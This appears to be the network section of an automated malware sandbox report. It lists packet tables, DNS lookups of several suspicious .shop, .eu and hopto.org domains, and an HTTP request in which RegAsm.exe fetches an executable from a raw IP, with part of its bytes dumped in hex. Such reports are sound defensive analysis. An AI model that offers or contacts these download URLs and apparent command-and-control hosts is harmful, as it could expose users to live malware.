Sep 25, 2024 18:01:15.692003012 CEST	443	49749	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:15.694818020 CEST	49749	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:15.694818974 CEST	49749	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:15.694967985 CEST	443	49749	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:16.207823038 CEST	443	49749	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:16.207958937 CEST	443	49749	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:16.208014965 CEST	49749	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:16.259680986 CEST	49749	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:16.259722948 CEST	443	49749	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:16.259744883 CEST	49749	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:16.259754896 CEST	443	49749	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:16.478285074 CEST	49750	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:16.478322029 CEST	443	49750	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:16.478478909 CEST	49750	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:16.478843927 CEST	49750	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:16.478853941 CEST	443	49750	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:16.985203028 CEST	443	49750	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:16.985316992 CEST	49750	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:16.996887922 CEST	49750	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:16.996901989 CEST	443	49750	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:16.997802019 CEST	443	49750	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:16.999020100 CEST	49750	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:16.999048948 CEST	49750	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:16.999233961 CEST	443	49750	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:17.464086056 CEST	443	49750	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:17.464202881 CEST	443	49750	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:17.464251995 CEST	49750	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:17.510005951 CEST	49750	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:17.510036945 CEST	443	49750	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:17.510050058 CEST	49750	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:17.510056973 CEST	443	49750	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:17.646550894 CEST	49751	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:17.646606922 CEST	443	49751	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:17.646671057 CEST	49751	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:17.647042990 CEST	49751	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:17.647056103 CEST	443	49751	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:18.128774881 CEST	443	49751	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:18.128856897 CEST	49751	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:18.183788061 CEST	49751	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:18.183810949 CEST	443	49751	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:18.184135914 CEST	443	49751	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:18.185249090 CEST	49751	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:18.185269117 CEST	49751	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:18.185317039 CEST	443	49751	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:18.815674067 CEST	443	49751	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:18.815797091 CEST	443	49751	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:18.815865993 CEST	49751	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:18.839116096 CEST	49751	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:18.839143991 CEST	443	49751	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:18.839162111 CEST	49751	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:18.839169979 CEST	443	49751	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:18.995589018 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:18.995631933 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:18.995699883 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:18.996129036 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:18.996140957 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:19.465646982 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:19.465749979 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:19.479279041 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:19.479299068 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:19.479643106 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:19.480788946 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:19.480809927 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:19.480853081 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:19.902896881 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:19.903009892 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:19.903062105 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:19.940587044 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:19.940623045 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:19.940637112 CEST	49752	443	192.168.2.5	188.114.97.3
Sep 25, 2024 18:01:19.940644026 CEST	443	49752	188.114.97.3	192.168.2.5
Sep 25, 2024 18:01:20.225425005 CEST	49753	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:20.225503922 CEST	443	49753	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:20.225578070 CEST	49753	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:20.226041079 CEST	49753	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:20.226073027 CEST	443	49753	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:20.725945950 CEST	443	49753	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:20.726053953 CEST	49753	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:20.816536903 CEST	49753	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:20.816606998 CEST	443	49753	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:20.817615986 CEST	443	49753	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:20.818875074 CEST	49753	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:20.818924904 CEST	49753	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:20.819046974 CEST	443	49753	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:21.317801952 CEST	443	49753	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:21.317915916 CEST	443	49753	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:21.317965031 CEST	49753	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:21.437108994 CEST	49753	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:21.437139988 CEST	443	49753	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:21.437155008 CEST	49753	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:21.437163115 CEST	443	49753	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:21.650304079 CEST	49754	443	192.168.2.5	172.67.208.139
Sep 25, 2024 18:01:21.650360107 CEST	443	49754	172.67.208.139	192.168.2.5
Sep 25, 2024 18:01:21.650439024 CEST	49754	443	192.168.2.5	172.67.208.139
Sep 25, 2024 18:01:21.650866032 CEST	49754	443	192.168.2.5	172.67.208.139
Sep 25, 2024 18:01:21.650888920 CEST	443	49754	172.67.208.139	192.168.2.5
Sep 25, 2024 18:01:22.131544113 CEST	443	49754	172.67.208.139	192.168.2.5
Sep 25, 2024 18:01:22.131638050 CEST	49754	443	192.168.2.5	172.67.208.139
Sep 25, 2024 18:01:22.143058062 CEST	49754	443	192.168.2.5	172.67.208.139
Sep 25, 2024 18:01:22.143089056 CEST	443	49754	172.67.208.139	192.168.2.5
Sep 25, 2024 18:01:22.143577099 CEST	443	49754	172.67.208.139	192.168.2.5
Sep 25, 2024 18:01:22.144777060 CEST	49754	443	192.168.2.5	172.67.208.139
Sep 25, 2024 18:01:22.144808054 CEST	49754	443	192.168.2.5	172.67.208.139
Sep 25, 2024 18:01:22.144877911 CEST	443	49754	172.67.208.139	192.168.2.5
Sep 25, 2024 18:01:22.631205082 CEST	443	49754	172.67.208.139	192.168.2.5
Sep 25, 2024 18:01:22.631325006 CEST	443	49754	172.67.208.139	192.168.2.5
Sep 25, 2024 18:01:22.631377935 CEST	49754	443	192.168.2.5	172.67.208.139
Sep 25, 2024 18:01:22.694761992 CEST	49754	443	192.168.2.5	172.67.208.139
Sep 25, 2024 18:01:22.694788933 CEST	443	49754	172.67.208.139	192.168.2.5
Sep 25, 2024 18:01:22.694803953 CEST	49754	443	192.168.2.5	172.67.208.139
Sep 25, 2024 18:01:22.694811106 CEST	443	49754	172.67.208.139	192.168.2.5
Sep 25, 2024 18:01:22.933799982 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:22.933846951 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:22.933908939 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:22.934303045 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:22.934314966 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:23.638458014 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:23.638571978 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.045243979 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.045324087 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.046304941 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.048082113 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.095406055 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.697521925 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.697556973 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.697577000 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.697627068 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.697711945 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.697756052 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.697781086 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.797795057 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.797820091 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.797883987 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.797919989 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.797950983 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.797971964 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.803035021 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.803112984 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.803128958 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.803153038 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.803188086 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.803215981 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.828296900 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.828337908 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.828365088 CEST	49755	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:01:24.828383923 CEST	443	49755	104.102.49.254	192.168.2.5
Sep 25, 2024 18:01:24.982816935 CEST	49757	443	192.168.2.5	172.67.189.2
Sep 25, 2024 18:01:24.982876062 CEST	443	49757	172.67.189.2	192.168.2.5
Sep 25, 2024 18:01:24.982955933 CEST	49757	443	192.168.2.5	172.67.189.2
Sep 25, 2024 18:01:24.983324051 CEST	49757	443	192.168.2.5	172.67.189.2
Sep 25, 2024 18:01:24.983338118 CEST	443	49757	172.67.189.2	192.168.2.5
Sep 25, 2024 18:01:25.492490053 CEST	443	49757	172.67.189.2	192.168.2.5
Sep 25, 2024 18:01:25.492568970 CEST	49757	443	192.168.2.5	172.67.189.2
Sep 25, 2024 18:01:25.530014992 CEST	49757	443	192.168.2.5	172.67.189.2
Sep 25, 2024 18:01:25.530033112 CEST	443	49757	172.67.189.2	192.168.2.5
Sep 25, 2024 18:01:25.530966997 CEST	443	49757	172.67.189.2	192.168.2.5
Sep 25, 2024 18:01:25.532196999 CEST	49757	443	192.168.2.5	172.67.189.2
Sep 25, 2024 18:01:25.532226086 CEST	49757	443	192.168.2.5	172.67.189.2
Sep 25, 2024 18:01:25.532398939 CEST	443	49757	172.67.189.2	192.168.2.5
Sep 25, 2024 18:01:25.975007057 CEST	443	49757	172.67.189.2	192.168.2.5
Sep 25, 2024 18:01:25.975240946 CEST	443	49757	172.67.189.2	192.168.2.5
Sep 25, 2024 18:01:25.975328922 CEST	49757	443	192.168.2.5	172.67.189.2
Sep 25, 2024 18:01:26.060249090 CEST	49757	443	192.168.2.5	172.67.189.2
Sep 25, 2024 18:01:26.060293913 CEST	443	49757	172.67.189.2	192.168.2.5
Sep 25, 2024 18:01:26.060312986 CEST	49757	443	192.168.2.5	172.67.189.2
Sep 25, 2024 18:01:26.060323000 CEST	443	49757	172.67.189.2	192.168.2.5
Sep 25, 2024 18:01:30.557132959 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 18:01:30.557238102 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 18:01:30.693820000 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 18:01:30.698798895 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 18:02:10.042292118 CEST	49736	80	192.168.2.5	147.45.44.104

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 18:00:19.488035917 CEST	59939	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:00:19.495368004 CEST	53	59939	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:03.793991089 CEST	50870	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:03.834270954 CEST	53	50870	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:05.561988115 CEST	58693	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:05.572271109 CEST	53	58693	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:08.876715899 CEST	58443	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:08.885792971 CEST	53	58443	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:09.925951004 CEST	60755	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:09.947937012 CEST	53	60755	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:11.566576004 CEST	63091	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:11.587251902 CEST	53	63091	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:12.729635000 CEST	64788	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:12.749716997 CEST	53	64788	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:14.967287064 CEST	64089	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:14.986993074 CEST	53	64089	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:16.402774096 CEST	56030	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:16.419743061 CEST	53	56030	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:18.952137947 CEST	61898	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:18.968301058 CEST	53	61898	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:20.016246080 CEST	64263	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:20.196006060 CEST	53	64263	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:21.617466927 CEST	61600	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:21.631309986 CEST	53	61600	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:22.741168976 CEST	54176	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:22.911936998 CEST	53	54176	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:24.870111942 CEST	51128	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:01:24.886913061 CEST	53	51128	1.1.1.1	192.168.2.5
Sep 25, 2024 18:01:59.065226078 CEST	53	58017	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 18:00:19.488035917 CEST	192.168.2.5	1.1.1.1	0xce11	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:03.793991089 CEST	192.168.2.5	1.1.1.1	0x24eb	Standard query (0)	yalubluseks.eu	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:05.561988115 CEST	192.168.2.5	1.1.1.1	0x91bd	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:08.876715899 CEST	192.168.2.5	1.1.1.1	0xba83	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:09.925951004 CEST	192.168.2.5	1.1.1.1	0x9791	Standard query (0)	drawzhotdog.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:11.566576004 CEST	192.168.2.5	1.1.1.1	0x56f9	Standard query (0)	gutterydhowi.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:12.729635000 CEST	192.168.2.5	1.1.1.1	0x249b	Standard query (0)	ghostreedmnu.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:14.967287064 CEST	192.168.2.5	1.1.1.1	0x4b9	Standard query (0)	offensivedzvju.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:16.402774096 CEST	192.168.2.5	1.1.1.1	0x8eed	Standard query (0)	vozmeatillu.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:18.952137947 CEST	192.168.2.5	1.1.1.1	0x9ad7	Standard query (0)	fragnantbui.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:20.016246080 CEST	192.168.2.5	1.1.1.1	0xca10	Standard query (0)	stogeneratmns.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:21.617466927 CEST	192.168.2.5	1.1.1.1	0x943a	Standard query (0)	reinforcenh.shop	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:22.741168976 CEST	192.168.2.5	1.1.1.1	0xd991	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:24.870111942 CEST	192.168.2.5	1.1.1.1	0x151d	Standard query (0)	performenj.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 18:00:19.495368004 CEST	1.1.1.1	192.168.2.5	0xce11	No error (0)	steamcommunity.com	104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:03.834270954 CEST	1.1.1.1	192.168.2.5	0x24eb	No error (0)	yalubluseks.eu	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:03.834270954 CEST	1.1.1.1	192.168.2.5	0x24eb	No error (0)	yalubluseks.eu	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:05.572271109 CEST	1.1.1.1	192.168.2.5	0x91bd	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:05.572271109 CEST	1.1.1.1	192.168.2.5	0x91bd	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:05.572271109 CEST	1.1.1.1	192.168.2.5	0x91bd	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:08.885792971 CEST	1.1.1.1	192.168.2.5	0xba83	No error (0)	cowod.hopto.org	45.132.206.251	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:09.947937012 CEST	1.1.1.1	192.168.2.5	0x9791	No error (0)	drawzhotdog.shop	172.67.162.108	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:09.947937012 CEST	1.1.1.1	192.168.2.5	0x9791	No error (0)	drawzhotdog.shop	104.21.58.182	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:11.587251902 CEST	1.1.1.1	192.168.2.5	0x56f9	No error (0)	gutterydhowi.shop	172.67.132.32	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:11.587251902 CEST	1.1.1.1	192.168.2.5	0x56f9	No error (0)	gutterydhowi.shop	104.21.4.136	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:12.749716997 CEST	1.1.1.1	192.168.2.5	0x249b	No error (0)	ghostreedmnu.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:12.749716997 CEST	1.1.1.1	192.168.2.5	0x249b	No error (0)	ghostreedmnu.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:14.986993074 CEST	1.1.1.1	192.168.2.5	0x4b9	No error (0)	offensivedzvju.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:14.986993074 CEST	1.1.1.1	192.168.2.5	0x4b9	No error (0)	offensivedzvju.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:16.419743061 CEST	1.1.1.1	192.168.2.5	0x8eed	No error (0)	vozmeatillu.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:16.419743061 CEST	1.1.1.1	192.168.2.5	0x8eed	No error (0)	vozmeatillu.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:18.968301058 CEST	1.1.1.1	192.168.2.5	0x9ad7	No error (0)	fragnantbui.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:18.968301058 CEST	1.1.1.1	192.168.2.5	0x9ad7	No error (0)	fragnantbui.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:20.196006060 CEST	1.1.1.1	192.168.2.5	0xca10	No error (0)	stogeneratmns.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:20.196006060 CEST	1.1.1.1	192.168.2.5	0xca10	No error (0)	stogeneratmns.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:21.631309986 CEST	1.1.1.1	192.168.2.5	0x943a	No error (0)	reinforcenh.shop	172.67.208.139	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:21.631309986 CEST	1.1.1.1	192.168.2.5	0x943a	No error (0)	reinforcenh.shop	104.21.77.130	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:22.911936998 CEST	1.1.1.1	192.168.2.5	0xd991	No error (0)	steamcommunity.com	104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:24.886913061 CEST	1.1.1.1	192.168.2.5	0x151d	No error (0)	performenj.shop	172.67.189.2	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:01:24.886913061 CEST	1.1.1.1	192.168.2.5	0x151d	No error (0)	performenj.shop	104.21.51.224	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

5.75.211.162

yalubluseks.eu

drawzhotdog.shop

gutterydhowi.shop

ghostreedmnu.shop

offensivedzvju.shop

vozmeatillu.shop

fragnantbui.shop

stogeneratmns.shop

reinforcenh.shop

performenj.shop

147.45.44.104

api.ipify.org

cowod.hopto.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49736	147.45.44.104	80	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 18:00:59.934683084 CEST	191	OUT	GET /prog/66f424e80b9cc_idsmds.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Sep 25, 2024 18:01:00.632786036 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:01:00 GMT Content-Type: application/octet-stream Content-Length: 26112 Last-Modified: Wed, 25 Sep 2024 14:57:44 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66f424e8-6600" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 03 70 14 f9 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 5c 00 00 00 08 00 00 00 00 00 00 be 7b 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 7b 00 00 53 00 00 00 00 80 00 00 86 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELp"0\{ @ `h{S H.text[ \ `.rsrc^@@.relocd@B{HtC7((.s(32{(2{(6\|(46\|(46\|(4RsE%oF`oGF(H(I(+oM%:&(N{oOZ{ rp((Z2{"(=6\|$(46\|((46\|,(46\|4(46\|7(4.(g(+rp(:r/p(;sl<*6\|@(
Sep 25, 2024 18:01:00.632833004 CEST	1236	IN	Data Raw: 34 00 00 0a 2a 36 02 7c 47 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 51 00 00 04 03 28 91 00 00 0a 2a 36 02 7c 54 00 00 04 03 28 91 00 00 0a 2a 36 02 7c 58 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 5d 00 00 04 03 28 34 00 00 0a 2a 13 30 04 00 6e 00 00 Data Ascii: 46\|G(46\|Q(6\|T(6\|X(46\|](40n(s(rpo(sooo o!io"o#(o$+*07(%}}}\|
Sep 25, 2024 18:01:00.632867098 CEST	448	IN	Data Raw: 00 04 7b 0a 00 00 04 28 16 00 00 06 3a 20 01 00 00 02 7b 16 00 00 04 02 7b 17 00 00 04 7b 0a 00 00 04 17 28 3f 00 00 0a 02 7b 17 00 00 04 7b 0a 00 00 04 28 15 00 00 06 02 7b 17 00 00 04 7b 0a 00 00 04 28 18 00 00 06 6f 2d 00 00 0a 13 07 12 07 28 Data Ascii: {(: {{{(?{{({{(o-(0:A%}}\|(+:{\|%}(.{{(o-(0:A%}}\|(+{
Sep 25, 2024 18:01:00.632904053 CEST	1236	IN	Data Raw: fe 06 0a 00 00 06 73 42 00 00 0a 25 80 08 00 00 04 28 43 00 00 0a 0b 02 7b 17 00 00 04 fe 06 0c 00 00 06 73 42 00 00 0a 28 43 00 00 0a 0c 02 7b 17 00 00 04 fe 06 0d 00 00 06 73 42 00 00 0a 28 43 00 00 0a 0d 19 8d 02 00 00 01 25 16 07 a2 25 17 08 Data Ascii: sB%(C{sB(C{sB(C%%%(Do-(0:A%}}\|(+f{\|%}(.#}}\|(2}}\|
